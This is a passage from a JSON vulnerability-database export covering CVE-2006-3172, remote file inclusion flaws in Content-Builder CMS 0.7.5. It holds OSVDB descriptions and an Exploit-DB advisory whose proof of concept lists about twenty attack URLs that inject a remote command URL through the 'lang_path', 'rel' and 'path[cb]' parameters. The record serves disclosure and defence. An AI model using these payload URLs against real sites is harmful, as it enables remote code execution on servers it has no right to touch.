26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26355", "id": "OSVDB:26355", "type": "osvdb", "title": "Content*Builder download/overview.inc.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article/fullarticle.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article/fullarticle.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/article/fullarticle.inc.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26357", "id": "OSVDB:26357", "type": "osvdb", "title": "Content*Builder article/fullarticle.inc.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "cvelist": ["CVE-2006-3172"], "edition": 1, "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/poll/poll.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/poll/poll.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/cms/plugins/poll/poll.inc.php?lang_path=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26345", "id": "OSVDB:26345", "type": "osvdb", "title": "Content*Builder poll/poll.inc.php lang_path Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-01-31T15:06:54", "description": "Content-Builder (CMS) 0.7.5 Multiple Include Vulnerabilities. CVE-2006-3172. Webapps exploit for php platform", "published": "2006-06-11T00:00:00", "type": "exploitdb", "title": "Content-Builder CMS 0.7.5 - Multiple Include Vulnerabilities", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-3172"], "modified": "2006-06-11T00:00:00", "id": "EDB-ID:1903", "href": "https://www.exploit-db.com/exploits/1903/", "sourceData": "-----------------------------------------------------\nAdvisory id: FSA:012\n\nAuthor: Federico Fazzi\nDate: 11/06/2006, 22:30\nSinthesis: Content-Builder (CMS) 0.7.5, Remote command execution\nType: high\nProduct: http://www.content-builder.de/\nPatch: unavailable\n-----------------------------------------------------\n\n\n1) Description:\n\nvulnerables page:\n\nMultiple vulnerabilities, see poc.\n\n2) Proof of concept:\n\nhttp://example/[cb_path]/cms/plugins/col_man/column.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/poll/poll.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/user_managment/usrPortrait.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/user_managment/user.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/media_manager/media.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/events/permanent.eventMonth.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/events/events.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/newsletter2/newsletter.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/modules/guestbook/guestbook.inc.php?path[cb]=[cmd_url]/\nhttp://example/[cb_path]/modules/shoutbox/shoutBox.php?path[cb]=[cmd_url]/\nhttp://example/[cb_path]/modules/download/overview.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/download/detailView.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/sitemap/sitemap.inc.php?path[cb]=[cmd_url]/\nhttp://example/[cb_path]/modules/article/fullarticle.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/article/comments.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/article2/overview.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/article2/fullarticle.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/article2/comments.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/headline/headlineBox.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/headline/showHeadline.inc.php?rel=[cmd_url]/\n\n(note: add a cmd url with final slash (/))\n\n3) Solution:\n\nsanitized all variables on all files.\n\n# milw0rm.com [2006-06-11]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/1903/"}]}